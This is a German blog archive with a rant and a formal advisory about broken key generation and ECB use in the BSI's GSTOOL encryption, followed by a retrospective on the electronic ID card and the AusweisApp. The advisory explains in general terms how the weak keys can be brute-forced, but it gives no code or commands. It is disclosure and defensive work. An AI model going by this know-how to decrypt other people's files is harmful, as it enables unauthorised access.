Archive

Posts Tagged ‘sicherheitslücke’

Wie das BSI unsere Daten „schützt“. Ein Rant über die Schwachstelle im GSTOOL.

2013-09-11 20 Kommentare

TL;DR: Das BSI gibt ein Tool heraus, welches sensible Daten über die IT-Sicherheit von deutschen Firmen vor ausländischen Industriespionen schützen soll. Die Verschlüsselung ist derartiger Murks, dass sie als Spielzeug für Hacker verwendet wird. Sie lässt sich innerhalb von Sekunden bis Minuten knacken. Das BSI reagiert auf Sicherheitsforschung mit juristischen Drohungen – was dazu geführt hat, dass das BSI erst Jahre nach der ersten Entdeckung des Problems davon erfahren hat. Ein Sicherheitsupdate ließ über eineinhalb Jahre auf sich warten, und die Sicherheitswarnungen haben nicht alle Kunden erreicht. Es entsteht leicht der Eindruck, dass das BSI vor allem daran interessiert war, dass die peinlichen Fehler nicht allzu öffentlich werden.

Eigentlich wollte ich ja nur wissen, ob Chiasmus sicher ist. Die sagenumwobene, geheimgehaltene, nicht veröffentlichte1) Chiffre, die das BSI damals, in den dunklen Zeiten der Kryptographie, entwickelt hat. Es war damals eine durchaus nachvollziehbare Entscheidung, eine eigene Chiffre zu entwickeln. Der damalige weltweite Standard, DES, war auf Wunsch der NSA vermurkst und unsicher, AES noch nicht standardisiert – womöglich waren zu Beginn der Entwicklung Rijndael (das heutige AES) und Twofish noch gar nicht publiziert.2)

Die Chiffre ist in einem gleichnamigen Programm eingebaut, was man aber nur bekommt, wenn man ein öffentliches Interesse nachweisen kann. Das BSI hat auch ein Hilfsmittel für den IT-Grundschutz, das sogenannte GSTOOL, herausgegeben. Das GSTOOL (in der betroffenen Version) wurde nicht vom BSI programmiert, sondern von Steria-Mummert. Mit dem GSTOOL werden sensible Informationen über die Sicherheit von IT-Netzen verwaltet – insbesondere bei Firmen, die besonders schutzbedürftig sind, sowie bei Behörden. Deswegen bietet das GSTOOL auch eine Verschlüsselungsfunktion, welche ebenfalls auf der Chiasmus-Chiffre basiert. Diese Verschlüsselungsfunktion soll die Daten vor Kriminellen und vor ausländischen Geheimdiensten schützen. Daten, die zum Beispiel für Industriespione ein gefundenes Fressen wären.

Die Entdeckung

Vor knapp zwei Jahren. Wir sitzen zu dritt vor einem Computerbildschirm. Facepalmend. Auf dem Bildschirm ein Debugger, der die Schlüsselerzeugungsfunktion von GSTOOL zeigt. Verschlüsselungsschlüssel müssen zufällig und nicht vorhersagbar sein, denn sonst kann ein Angreifer sie erraten und dadurch die Nachricht entschlüsseln. Deswegen erzeugt man sie mit speziellen, sicheren (Pseudo-)Zufallsgeneratoren. Wenn man kompetent ist. Wenn nicht, googelt man „c++ zufallszahlen“, klickt das erste Ergebnis an und verwendet was man da sieht. Dummerweise sieht man da vermutlich etwas wie das hierdas Standardverfahren zum Erzeugen von Zufallszahlen. Und dummerweise sind die Zufallszahlen, die so erzeugt werden, vielleicht gut genug für die Würfel in einer digitalen Version von Mensch-Ärgere-Dich-Nicht, aber nicht für kryptographische Schlüssel. Das weiß eigentlich jeder, der auch nur ansatzweise Ahnung von Kryptographie hat. Die Entwickler des GSTOOL wussten es offensichtlich nicht. Und das BSI hat es in all den Jahren offensichtlich nicht für nötig gehalten, die Verschlüsselungsfunktion zu überprüfen, denn dann wäre zumindest eines der Probleme aufgefallen. Denn die Schlüsselerzeugung war zwar das schlimmste, aber nicht das einzige Problem. (Die Details gibts im Advisory)

Einige Zeit und einige hundert Zeilen Code später haben wir eine Software, welche mit dem GSTOOL Chiasmus-verschlüsselte Dateien entschlüsseln kann – ohne Schlüssel, in der Regel innerhalb von Sekunden. In einer Mail an das BSI bitten wir um eine verschlüsselte Testdatei – und senden sie postwendend zurück. Entschlüsselt.

Bitte keine Ergebnisse

In einigen Tagen gelangweiltem Stochern haben wir die Verschlüsselung komplett zerlegt. Totalschaden. Weniger als 2^32 effektive Schlüssellänge – das ist ein Wert, bei dem man aufhört, den Angriff zu optimieren, weil es eh schon schnell genug geht. Und das war keine besonders anspruchsvolle Aufgabe, sondern eigentlich nur Fleißarbeit. Wir haben die Software fertig analysiert, dem BSI und Steria-Mummert Ratschläge zur Behebung des Problems gegeben, und schließlich auch ein Paper mit den Analyseergebnissen geschickt, in welchem auch die Chiffre selbst beschrieben war.

Als Antwort auf das Paper erhielten wir unmissverständliche und sehr deutliche juristische Drohungen, dass das Reverse Engineering einen Urheberrechtsverstoß darstelle und von den Juristen des BSI „sehr strikt verfolgt“ würde. Daher wurden wir „dringend gebeten“ das Paper nicht zu veröffentlichen. Um dem BSI Zeit zur Fehlerbehebung zu geben und unnötige Konfrontationen zu vermeiden, haben wir eine zeitnah geplante Veröffentlichung verschoben (was im Nachhinein gesehen angesichts der langen Dauer bis zum Patch IMHO ein Fehler war). Erst als deutlich wurde, dass wir uns nicht einschüchtern lassen und das Paper definitiv irgendwann veröffentlichen werden, wurden die Drohungen telefonisch entschärft.

„Lösung“

Am 25.11.2011, über eine Woche nachdem das BSI vom Problem erfahren hat, wurde eine öffentliche Sicherheitswarnung herausgegeben; ein Sicherheitsupdate sollte in Kürze folgen. Aus „in Kürze“ wurden eineinhalb Jahre. Eineinhalb Jahre, in der eine hochkritische Sicherheitslücke in einer Verschlüsselungssoftware offen blieb. Die Sicherheitswarnung ist inzwischen auf keiner offiziellen Seite mehr aufzufinden, und hat nicht alle Kunden erreicht – in einem persönlichen Gespräch Ende 2012 war ein Nutzer über die Information überrascht und hat gesagt, dass die GSTOOL-Verschlüsselung immer noch regelmäßig benutzt werde. Das Sicherheitsupdate wurde ebenfalls kaum angekündigt, auch wir erfuhren davon nur durch Zufall, als wir auf der BSI-Website nachgeschaut haben.

Klar ist so eine dämliche Sicherheitslücke peinlich. Aber ich werde den Verdacht nicht los, dass das BSI mehr darauf bedacht war, negative Öffentlichkeit zu vermeiden, als für Sicherheit zu sorgen. Das führt dann eben dazu, dass es auch Nutzer nicht mitbekommen und so der wertlosen Verschlüsselung weiter vertrauen.

Das „Sicherheitsupdate“ bestand am Ende übrigens daraus, die Verschlüsselungs-Schaltfläche zu deaktivieren. Ohne einen Hinweis im Programm, warum das der Fall ist. Nur wer in die Update-Notizen schaut oder eine Sicherheitswarnung des BSI erhalten hat, erfährt, dass die Verschlüsselung geknackt ist.

Spielzeug

Das offensichtliche Problem, dass die GSTOOL-Verschlüsselung den unsicheren Modus ECB benutzt, war bereits Christian Gresser vom Blog „Mitternachtshacking“ aufgefallen. Und zwar 2008. Durch Zufall erfuhren wir später, dass wir auch nicht die ersten waren, die die defekte Schlüsselerzeugung gefunden haben. 2009 fragte Felix Schuster beim BSI an, ob sie daran interessiert wären, wenn er das Tool analysiert, und bekam rechtliche Drohungen als Antwort.  Er fand trotzdem die gleichen Ergebnisse wie wir, teilte sie dem BSI aber aus offensichtlichen Gründen nicht mit.

Später verwendete er ein GSTOOL-Chiffrat als Aufgabe in einem CTF-Contest – einem Wettbewerb, wo Sicherheitsexperten/Hacker in einem simulierten Netzwerk versuchen, ihre Systeme zu schützen und in die der Mitspieler einzudringen, und nebenbei noch kleine Aufgaben lösen. Die „hochsichere“ Verschlüsselung dieses von offizieller Stelle herausgegebenen Tools war also so schlecht und leicht knackbar, dass sie als Spielzeug für Hacker, eine kleine Aufgabe für zwischendurch, verwendet wurde. Immerhin gab es für die „Borg-Bureaucrats“ stolze vierhundert Punkte. Die Aufgabe wurde erfolgreich gelöst und der glückliche Gewinner hat dem BSI wohl Bescheid gesagt – vermutlich in einem relativ engen zeitlichen Zusammenhang zu unserer Meldung. (Details dazu wissen wir leider nicht)

Das würde auch erklären, warum das BSI im Advisory unsere Namen nicht nennen wollte, wie es eigentlich üblich ist, wenn man einer Organisation schon kostenlos Sicherheitslücken meldet. Wer weiß, wie viele andere das Problem schon vorher entdeckt hatten. Felix hat über die Probleme vor Kurzem einen Vortrag gehalten und die Folien online gestellt. Diese enthalten auch eine Beschreibung des Algorithmus, falls sich jemand an einer Kryptoanalyse versuchen will.

We are not alone

Das Erschreckende an dieser ganzen Sache: Wenn wir auf die Idee gekommen sind, uns GSTOOL anzuschauen, und vor uns schon mehrere andere, dann haben ausländische Geheimdienste das sicher auch gemacht. Und die Probleme sind bei einer Analyse nicht zu übersehen. Normalerweise muss sich die NSA die Mühe machen, die Zufallsgeneratoren und andere Komponenten von Kryptosystemen mittels Hintertüren zu sabotieren, hier gabs ein von Haus aus kaputtes System gratis. Und um diese Lücke zu finden, braucht es keine NSA-Experten. Das hat der chinesische Geheimdienst und jeder andere Wirtschaftsspion sicher auch hinbekommen. Kein schöner Gedanke für deutsche Unternehmen, die sich auf die Sicherheit dieser von einer für die IT-Sicherheit zuständigen Behörde herausgegebenen Software verlassen haben.

Und statt zeitnah auf eine solche Lücke zu reagieren (oder von vorne herein dafür zu sorgen, dass so etwas gar nicht erst veröffentlicht wird), bedroht das BSI lieber Sicherheitsforscher, um zu verhindern, dass solche Probleme öffentlich werden. Ohne die Drohungen hätte das BSI wohl bereits 2009 von den Problemen erfahren.

Damit hat das BSI den letzten Funken Glaubwürdigkeit in der IT-Sicherheit verloren. Schade eigentlich, denn die Chiasmus-Chiffre an sich (die vom BSI selbst entwickelt wurde) sieht sicher aus, das BSI hat also durchaus kompetente Leute (oder hatte sie zumindest damals). Für die Sicherheitsprobleme sorgen erst die Implementierungsfehler von Steria-Mummert im GSTOOL (weswegen „Chiasmus für Windows“ auch nicht von der Lücke betroffen sein sollte).

Es war eine gute Idee, dass ich damals bei der AusweisApp direkt veröffentlicht habe, statt erst das BSI zu kontaktieren. Angesichts der Erfahrungen in diesem Fall werde ich jedenfalls in Zukunft nur noch „full disclosure“ fahren (d.h. gefundene Probleme sofort öffentlich machen), wenn ich irgendwelche Lücken in „offizieller“ Software finde. Alles andere sorgt nur für unnötig Stress, Verzögerungen und unter-den-Teppich-kehren.

Auch Kontakt mit dem BSI gehabt? Kunde/Nutzer von GSTOOL und Hinweise vom BSI bekommen (oder eben nicht)? Ich freue mich über Rückmeldungen über die Kommentarfunktion oder per E-Mail!

Fußnoten:

1) Eine Chiffre nicht zu veröffentlichen ist unüblich und gilt als verpönt – eine gute Chiffre ist auch dann sicher, wenn der Angreifer sie kennt, solange er den Schlüssel nicht hat. Vor den wirklich „Bösen“ kann man die Chiffre nicht langfristig geheimhalten, aber wenn die Chiffre nicht öffentlich ist, bleiben Schwächen oft lange für die Nutzer der Chiffre verborgen.

2) AES und Twofish wurden 1998 publiziert. Die erste Referenz zu Chiasmus, die wir finden konnten, erwähnt Chiasmus für Windows in Version 1.3 und ist aus dem Dezember 2001.

Advisory: Unsichere Verschlüsselung bei GSTOOL

2013-09-11 1 Kommentar

=== Betroffene Produkte ===
Betroffen ist die Verschlüsselungsfunktion des GSTOOL in den Versionen 3.0 bis 4.7 (einschließlich) sowie die mit diesen Versionen erstellten Schlüssel und damit verschlüsselte Dateien. Die Version 4.8 (auch bekannt als GSTOOL 4.5, 4.6 oder 4.7 Service Pack 3) ist nicht betroffen, da in dieser Version die Verschlüsselungsfunktion entfernt wurde. Nicht betroffen ist die Kernfunktion des GSTOOL, das erstellen von Sicherheitskonzepten. Nur Anwender, die die Verschlüsselungsfunktion nutzen, sind betroffen.

Das GSTOOL unterstützt Anwender bei Erstellung, Verwaltung und Fortschreibung von Sicherheitskonzepten entsprechend dem IT-Grundschutz und wird vor allem von öffentlichen Stellen und Dienstleistern eingesetzt. Die Verschlüsselungsfunktion ist lediglich eine Zusatzfunktion, wird durch die entdeckten Sicherheitslücken aber weitgehend unwirksam: Angreifer können mit alten GSTOOL-Versionen verschlüsselte Dateien innerhalb weniger Minuten mit einem gewöhnlichen Computer ohne Kenntnis des Schlüssels entschlüsseln. Ursache ist die unsachgemäße Schlüsselerzeugung durch falsche Verwendung eines Zufallszahlengenerators. Diese Versionen 3.0-4.7 des GSTOOLs wurden von Steria Mummert Consulting im Auftrag und Namen des BSI entwickelt. <http://de.wikipedia.org/wiki/GSTOOL>

Nicht betroffen ist die Sicherheit der Blockchiffre „CHIASMUS“ an sich, da es sich um Implementierungsfehler in GSTOOL handelt. Das Produkt „CHIASMUS für Windows“ verwendet eine unabhängige Implementierung und wir vermuten, dass es nicht von dieser Schwachstelle betroffen ist

=== Problembeschreibung ===
Die kryptographischen Schlüssel werden mit einem ungeeigneten Verfahren erzeugt, wodurch die Stärke der Schlüssel auf maximal 31 Bit (in der Praxis meist deutlich weniger) beschränkt wird. Dadurch können die Schlüssel innerhalb von Minuten, meist aber in wenigen Sekunden, mittels eines angepassten Brute-Force-Angriffs bestimmt werden. Die mit den betroffenen Versionen von GSTOOL verschlüsselten Dateien können somit mit minimalem Aufwand auch ohne Kenntnis des Schlüssels entschlüsselt werden.

Weitere Probleme sind die Verwendung der Betriebsart ECB für die Blockchiffre sowie das Fehlen von Integritäts- und Plausibilitätsprüfungen für Dateien und Schlüssel.

=== Gegenmaßnamen ===
Die Verschlüsselungsfunktion enthält mehre Fehler, so dass das Problem nicht einfach zu beheben ist. Das BSI hat sich dafür entschlossen, die Funktion ganz aus GSTOOL zu entfernen. Wir halten das für eine sehr gute Entscheidung. Anwender sollten davon ausgehen, dass ihre Chiffrate kompromittiert sind, und sie so weit möglich dort löschen, wo Dritte potentiell Zugang zu den Chiffraten haben (Cloud-Anbieter, Dropbox, unverschlüsselte Laptop-Festplatten, Tablet und Smartphones).

Als Alternative bleibt für öffentliche Stellen der Einsatz von „CHIASMUS für Windows“. Die Software ist allerdings nicht öffentlich zugänglich und der Quellcode wurde nicht veröffentlicht, so dass wir die Sicherheit dieser Software nicht beurteilen können. Die Dateiformate sind ebenfalls nicht kompatibel.

Als beste Lösung sehen wir den Einsatz von Festplattenverschlüsselungssoftware (FDE) für Computer, auf denen mit GSTOOL gearbeitet wird, sowie den Einsatz von GnuPG/Gpg4win für das sichere Verschicken von GSTOOL-Datenbanken. Die Software ist kostenlos nutzbar, der Quelltext ist öffentlich einsehbar, und die Entwicklung wurde vom BSI gefördert. Das BSI selbst empfiehlt dieses Tool explizit: https://www.bsi.bund.de/DE/Themen/ProdukteTools/Gpg4win/gpg4win_node.html

=== Beteiligte ===
Jan Schejbal
Erik Tews
Julian Wälde

=== Ähnliche Forschung ===
Christian Gresser berichtete in seinem Blog „Mitternachtshacking“ bereits 2008 über die Verwendung der Betriebsart ECB: http://www.mitternachtshacking.de/blog/727-snake-oil-alarm-chiasmus-im-gstool

Wie uns nachträglich bekannt wurde, hat Felix Schuster (Ruhr-Uni­ver­si­tät Bo­chum) bereits im Jahr 2009 dieses Problem unabhängig von unserer Forschung entdeckt. Da das BSI nach einer anfängliche Kontaktaufnahme eine Analyse des GSTOOL durch ihn vehement ablehnte, wurde die Arbeit nicht veröffentlicht und das BSI nicht über die Ergebnisse informiert. Eine Präsentation seiner Ergebnisse kann seit Kurzem unter http://prezi.com/bzyvzzdsxtkm/ubicrypt-chm/ abgerufen werden.

GSTOOL-Chiasmus-Chiffrate wurden laut Felix Schuster beim Hack.lu CTF 2011 als eine der Aufgaben verwendet und von einem Teilnehmer erfolgreich geknackt, welcher vermutlich das BSI kontaktiert hat. Details sind uns leider nicht bekannt.

Sofern andere Forscher sich ebenfalls mit dem Thema beschäftigt und/oder das BSI kontaktiert haben, würden wir uns über eine Kontaktaufnahme freuen – Kontaktdaten siehe <http://www.janschejbal.de/impressum.shtml>.

=== Patch ===
Das BSI hat in einem Advisory am 25.11.2011 dazu geraten, die Verschlüsselungsfunktion nicht zu verwenden, alternative Verschlüsselungslösungen einzusetzen und evtl. öffentlich verfügbare verschlüsselte Dateien zurückzuziehen. Das Advisory ist inzwischen nur noch auf Drittseiten auffindbar, z. B. <http://goo.gl/lVoHL>, die Empfehlungen sind jedoch korrekt.

In der Version 4.8 (auch bekannt als „Servicepack 3 für GSTOOL 4.5“) wurde die Verschlüsselungsfunktion deaktiviert. <http://goo.gl/3Sjb5>

=== Timeline ===
Alle Ereignisse in chronologischer Reihenfolge (nicht der Reihenfolge in der sie uns bekannt wurden):

2008-09-24 Blog-Posting von Chrisitan Gresser, Hinweis darauf dass die Verschlüsselung von GSTOOL nicht vollständig sicher ist.
2009 Erste Arbeiten von Felix Schuster, Anfrage beim BSI ob eien Sicherheitsanalyse von GSTOOL erwünscht ist, Anfrage wurde abgelehnt.
2011-09-19 hack.lu CTF
2011 Erste Arbeiten von uns, Analyse. Dabei wurden die Schwachstellen der Implementierung entdeckt.
2011-11-14 Kontaktaufnahme mit dem BSI, Demonstration der Lücke
später exakte Fehlerbeschreibung (telefonisch)
2011-11-25 Advisory des Herstellers, Ankündigung Servicepack

Weitere Kommunikation und Ratschläge zur Fehlerbehebung

2011-12-06 Hinweis von Seiten des BSI, dass sie Reverse Engineering bei GSTOOL ihrer Meinung nach nicht erlaubt ist und Bitte, von der Veröffentlichung von Analyseergebnissen der Chiffre abzusehen.

2011-2013 Mehrfache Statusnachfragen unsererseits

2013-06-06 (ca.) Erscheinen des Servicepacks, keine Benachrichtigung.
2013-07-22 UbiCrypt Summerschool in Bochum mit Vortrag von Felix Schuster
2013-09-11 Veröffentlichung dieses Advisories

Karten, Apps und Löcher – Ein Rückblick zum ePerso

2011-11-09 2 Kommentare

Vor knapp über einem Jahr wurde der neue, elektronische Personalausweis eingeführt. Vor einem Jahr und einem Tag wurde die erste Version der AusweisApp veröffentlicht – und vor genau einem Jahr habe ich die massive Sicherheitslücke in der AusweisApp aufgedeckt. Diesen Tag möchte ich daher für einen Rückblick nutzen, und laientauglich die wichtigsten Dinge zum ePerso erläutern: Was ist der ePerso eigentlich? Wie sicher ist er? Wem soll er nutzen? Wer profitiert wirklich davon? Und was ist daraus eigentlich geworden?

Inhalt

  1. Was ist der ePerso?
  2. Sicherheit und Gefahren
  3. Die AusweisApp und ihre Lücke
  4. Der Nutzen des Ausweises
  5. Kosten und Wirtschaftsförderung
  6. Fazit

Was ist der ePerso?

Zum 1. November 2010 hat der „neue Personalausweis“, kurz nPA, den bisherigen Ausweis ersetzt. Der auffälligste Unterschied zum alten Personalausweis ist das von den meisten Bürgern als praktischer empfundene Kreditkartenformat. Der wichtigere Unterschied jedoch ist im Inneren der Plastikkarte versteckt: In der rechten oberen Ecke ist ein Chip eingebaut, mit dem der Ausweis elektronisch genutzt werden kann. Deswegen hieß er auch „elektronischer Personalausweis“, kurz „ePerso“ oder „ePA“, bevor die Regierung merkte, dass dieser Name durch die Kritik am Projekt zu unbeliebt geworden war.

Der Personalausweis ist eine sogenannte kontaktlose Chipkarte. Das bedeutet, dass er per Funk mit dem Lesegerät Kontakt aufnimmt (und von ihm drahtlos mit Strom versorgt wird). Die drahtlose Technik (RFID/NFC) wurde gewählt, weil sich dabei keine Kontakte abnutzen und die Karten und Lesegeräte somit haltbarer sein sollen. (Vielleicht spielte die Idee, einen neuen Standard zu schaffen und die Wirtschaft durch die Einführung von viel neuer Technik zu fördern, auch eine gewisse Rolle.)

Der Chip im Personalausweis ist ein kleiner Computer – mit einem Prozessor, etwas Speicher und der Fähigkeit, Berechnungen durchzuführen. Das soll eine ganze Reihe neuer Möglichkeiten öffnen, denn der Chip unterstützt gleich mehrere Funktionen: Mit der hoheitlichen Ausweisfunktion können Behörden über den Chip die Echtheit des Ausweises prüfen. Mit der eID-Funktion soll der Nutzer mit dem Ausweis online seine Identität beweisen können. Und zu guter Letzt soll es mit dem Ausweis auch möglich sein Dokumente (wie z. B. Verträge) digital zu unterschreiben. Letzteres ist allerdings schon seit Jahren mit gewöhnlichen und bewährten Signaturkarten möglich.

Hoheitliche Ausweisfunktion

Die auf dem Ausweis aufgedruckten Daten, das Passfoto sowie (falls abgegeben) der Fingerabdruck sind auf dem Chip noch einmal elektronisch gespeichert und können von befugten Behörden gelesen werden. Das soll die Fälschungssicherheit erhöhen, da die Daten auf dem Chip gegen unbefugte Veränderung sehr gut gesichert sind. Die hoheitliche Ausweisfunktion ist immer aktiv und kann nicht ausgeschaltet werden.

eID-Funktion

Mit der eID-Funktion soll es möglich sein, mit dem Ausweis gegenüber einer Website die Identität (oder auch nur das Alter) zu belegen oder sich einzuloggen. Dazu benötigt man ein Lesegerät sowie eine Software, die „AusweisApp“. Über die AusweisApp kommuniziert die Website mit dem Ausweis, und in der App wird auch angezeigt, welche Daten an welchen Empfänger übertragen werden sollen. Damit ein verlorener Ausweis nicht missbraucht werden kann, muss man jedes Mal eine sechsstellige PIN eingeben. Die eID-Funktion kann auf Wunsch ein- und ausgeschaltet werden.

Elektronische Signaturfunktion

Mit einem Lesegerät der höchsten Sicherheitsstufe soll es möglich sein, den Personalausweis für die sogenannte „qualifizierte elektronische Signatur“ zu benutzen. Damit kann man Dokumente mit einer rechtlich verbindlichen digitalen Unterschrift versehen. Da dies mit gewöhnlichen Signaturkarten schon lange möglich ist, spart man lediglich eine Karte ein, wenn die Funktion vom Ausweis mit unterstützt wird.

Derzeit ist die elektronische Signatur mit dem Personalausweis noch nicht möglich.

Sicherheit und Gefahren

Wie sieht es um die Sicherheit des neuen elektronischen Personalausweises aus? Dazu muss man zunächst überlegen, wo überall Probleme lauern könnten: Einerseits ist da natürlich der Ausweis selbst bzw. der Chip darin sowie die Funkverbindung, über die mit dem Ausweis kommuniziert wird. Hier sind starke Sicherheitsmaßnahmen eingebaut. Andererseits spielen aber gerade bei der eID-Funktion auch das Lesegerät, die AusweisApp, der Rechner, auf dem diese läuft, und schließlich der Nutzer selbst eine große Rolle – und hier gibt es zahlreiche Probleme.

Sicherheit der Funkverbindung

Bei einem Ausweis, mit dem berührungslos per Funk kommuniziert werden kann, auch während er in der Geldbörse versteckt ist, stellt sich natürlich als erstes die Frage: Kann der Ausweis unbefugt benutzt oder ausgelesen werden? Kann man mich mit dem Ausweis verfolgen?

Zunächst einmal zur Beruhigung: Die Funkverbindung ist natürlich verschlüsselt. Normale Lesegeräte können mit dem Ausweis nur auf höchstens 10 Zentimeter Entfernung kommunizieren. Speziell gebaute Geräte werden diese Reichweite vermutlich etwas erhöhen können, ein Auslesen aus mehreren Metern ist jedoch rein physikalisch kaum möglich. Der Ausweis ist passiv, das heißt, ohne ein Lesegerät in unmittelbarer Nähe hat er gar keine Stromversorgung. Sorgen, der Ausweis könnte als GPS-Peilsender jederzeit seine Position an irgendwelche Behörden senden, sind also unbegründet.

Selbst wenn ein Lesegerät mit dem Ausweis kommuniziert, soll dieser aber nichts verraten, was den Eigentümer identifizieren könnte – nicht einmal eine Seriennummer, über die man den Ausweis wiedererkennen könnte. Um Daten auszulesen, muss eine der drei Funktionen genutzt werden, auf die im Folgenden genauer eingegangen wird. Es ist aber nicht auszuschließen, dass früher oder später ein Verfahren entdeckt wird, mit dem die Ausweise doch unterschieden und so wiedererkannt werden können.

Sicherheit der hoheitlichen Ausweisfunktion

Das Auslesen der Daten über die hoheitliche Ausweisfunktion soll nur mit einem dazu berechtigten Gerät möglich sein, und auch dann nur, wenn die auf dem Ausweis angegebene sechsstellige Nummer eingegeben wird. So soll sichergestellt sein, dass der Ausweis nie unbemerkt ausgelesen werden kann. Ob ein Zugriff auf den Ausweis tatsächlich nur mit diesen Sicherheitsmaßnahmen möglich ist, kann man jedoch nicht nachprüfen – man muss sich auf die Angaben der Regierung verlassen. Hintertüren, die das unbemerkte Auslesen erlauben, wären problemlos möglich und kaum zu entdecken. Die Reichweite wäre hierbei allerdings immer noch wie oben beschrieben stark beschränkt.

Sicherheit der eID-Funktion

Die Sicherheit der eID-Funktion hängt von zahlreichen Komponenten ab. Neben dem Lesegerät benötigt der Nutzer eine spezielle Software, die AusweisApp, um diese Funktion nutzen zu können. Die erste Version der AusweisApp war aufgrund einer direkt nach der Veröffentlichung entdeckten Sicherheitslücke ein offenes Einfallstor für Computerviren.

Es gibt drei Arten von Lesegeräten: Die „Basisleser“, die steuerfinanziert in großer Zahl verteilt wurden, die „Standardleser“ und die „Komfortleser“. Die Komfortleser bieten hierbei die größte Sicherheit, müssen aber vom Nutzer selbst gekauft werden (und waren zum Start des Ausweises noch nicht verfügbar). Die billigen Basisleser hingegen haben keine eigenen Sicherheitsfunktionen. Insbesondere muss die PIN des Ausweises auf dem Computer eingegeben werden – wo sie z. B. von Viren abgefangen werden kann.

Da die AusweisApp normalerweise von einer Website gestartet wird, ist es für den Nutzer schwierig, ein gefälschtes AusweisApp-Fenster zu erkennen – wenn er dort seine PIN eingibt, wird sie dem Angreifer, z. B. Kriminellen, bekannt. Der Angreifer benötigt jedoch noch Zugriff auf das Lesegerät, um den Ausweis mit der PIN missbrauchen zu können. Eine Zusatzsoftware, die zu einem der „Starter-Kits“ mit Basisleser gehört, ermöglicht diesen Zugang – und somit den Ausweismissbrauch.

Bei den Komfortlesern wird die PIN am Lesegerät eingegeben, wo sie von Viren nicht mehr abgefangen werden kann. Erst mit einem solchen Gerät wäre eine halbwegs sichere Nutzung des Personalausweises wirklich möglich. Leider wurden gerade die unsicheren Basisleser in großer Zahl verteilt – die Sicherheit wurde in den Hintergrund gerückt, um möglichst viele Geräte verteilen zu können.

Für die eID-Funktion gilt ein niedrigeres Sicherheitsniveau als für die Signaturfunktion. Deswegen kann darüber zwar z. B. bei einer Onlinebestellung die Identität des Käufers geprüft werden, aber eigentlich dient die Prüfung nicht dazu, eine Transaktion wie z. B. den Kauf zu bestätigen – offiziell zumindest nicht. Wenn aber der Händler zeigen kann, dass sich der Käufer mit dem eID-Verfahren  ausgewiesen hat, wird der Ausweisinhaber kaum in der Lage sein, den Kauf zu bestreiten – auch im Fall eines Missbrauchs der eID-Funktion. Dieser Anscheinsbeweis über die Ausweisfunktion wird in der Praxis so zur Signatur – obwohl die Funktion dafür nie gedacht war und das Sicherheitsniveau daher auch nicht ausreichend hoch ist.

Dem Ausweisnutzer bietet der Ausweis in dieser Hinsicht also nicht mehr, sondern weniger Sicherheit: Bisher lag die Beweislast beim Händler, bei einer missbräuchlichen Bestellung unter falschem Namen blieb er auf dem Schaden sitzen. Mit dem ePerso wird ein Missbrauch zwar schwieriger, das Risiko wird aber auf den Ausweisinhaber abgewälzt.

Innenministerium und BSI werden nicht müde, nach jedem Angriff auf die eID-Funktion zu betonen, dass der Ausweis selbst sicher sei. Das ist jedoch ungefähr so sinnvoll, wie die Sicherheit einer Panzertür zu betonen, neben der ein offener Dienstboteneingang steht, der in den gleichen Raum führt.

Sicherheit der Signaturfunktion

Die Signaturfunktion kann man aktuell wohl als die sicherste Funktion des Ausweises bezeichnen – sie existiert schlichtweg noch nicht. Geht man davon aus, dass die Kommunikationsprotokolle ordnungsgemäß funktionieren, dürfte die Sicherheit mit gewöhnlichen Signaturkarten vergleichbar sein. Für die Nutzung der Signaturfunktion wird zwingend ein „Komfortleser“, also ein Lesegerät der höchsten Sicherheitsstufe benötigt, wodurch ein recht hohes Sicherheitsniveau erreicht wird.

Derzeit gibt es widersprüchliche Angaben, ob das sogenannte Signaturzertifikat über die eID-Funktion beantragt werden kann. Wäre dies möglich, würde die hohe Sicherheit der qualifizierten elektronischen Signatur untergraben: Wer die schwächer geschützte eID-Funktion knackt, könnte sich auf den Namen des Opfers ein Signaturzertifikat ausstellen lassen und damit dann falsche Signaturen erzeugen.

Politische Missbrauchsgefahr

Nicht zu unterschätzen ist beim ePerso auch die Missbrauchsgefahr auf politischer Ebene. Der CDU-Bundestagsabgeordnete Axel E. Fischer, der auch Vorsitzender der Enquete-Kommission „Internet und digitale Gesellschaft“ ist, hat beispielsweise gefordert, anonyme Diskussionen im Internet zu verbieten – und den Personalausweis zur Durchsetzung der Klarnamenspflicht zu verwenden. Das ist leider keine verirrte Einzelmeinung: In einem öffentlich gewordenen internen Positionspapier der Unionsfraktion findet sich die Aussage: „Eine anonyme Teilhabe am politischen Meinungs- und Willensbildungsprozess ist abzulehnen.“

In vielen Fällen ist die Möglichkeit, sich anonym zu äußern, aber Voraussetzung dafür, dass man sich überhaupt frei und unbeschwert äußern kann. Sei es, weil man in einem erzkonservativen bayrischen Dorf lebt und die katholische Kirche kritisieren will, oder weil man (ob begründet oder unbegründet spielt keine Rolle!) Angst hat, wegen seiner Meinung zukünftig staatlichen Repressalien ausgesetzt zu werden. Eine solche Forderung untergräbt daher massiv die Meinungsfreiheit. Der ePerso schafft die Voraussetzung dafür, eine solche Regelung umzusetzen.

Solange solche Forderungen regelmäßig aufkommen, muss man überlegen, ob die Möglichkeiten, die der ePerso bietet, nicht zu gefährlich sind.

Die AusweisApp und ihre Lücke

Anfangs noch „Bürgerclient“ genannt, bekam das Programm, welches den elektronischen Personalausweis mit dem Internet verbinden soll, bald wie auch der ePerso selbst einen „moderneren“ Namen: „AusweisApp“. Das soll die Akzeptanz erhöhen. Aber was ist diese AusweisApp eigentlich?

Der ePerso soll auch im Internet einsetzbar sein – man soll sich damit auch gegenüber Webseiten ausweisen können. Dazu muss der Ausweis irgendwie mit der Website Kontakt aufnehmen können. Die AusweisApp vermittelt zwischen Website und Lesegerät und erlaubt es dem Nutzer auch, beispielsweise seine PIN zu ändern oder die Identität einer Website anzuzeigen, die Ausweisdaten anfordert.

Auch wenn viele denken, die AusweisApp sei vom Bundesamt für Sicherheit in der Informationstechnik (BSI) entwickelt worden, wurde die Software von der Firma OpenLimit  programmiert. Unter anderem um Vorwürfe zu entkräften, die AusweisApp würde den „Bundestrojaner“ beinhalten, also eine Spionagesoftware für die Durchführung von Onlinedurchsuchungen, wurde zunächst zugesichert, den Quellcode des Programms offenzulegen. Dadurch könnten zumindest IT-Fachleute sich die inneren Funktionsweisen der Software anschauen. Gleichzeitig trägt eine solche Vorgehensweise auch dazu bei, dass Fehler schneller entdeckt werden, weil die Software von mehr Menschen unter die Lupe genommen wird. Das wurde beim Erscheinen der AusweisApp allerdings auf „später“ verschoben.  In einer Antwort auf eine Bürgeranfrage gab das BSI inzwischen zu, den Quellcode nicht einmal selbst geprüft zu haben – dies sei auch „nicht Bestandteil der Zertifizierung“.

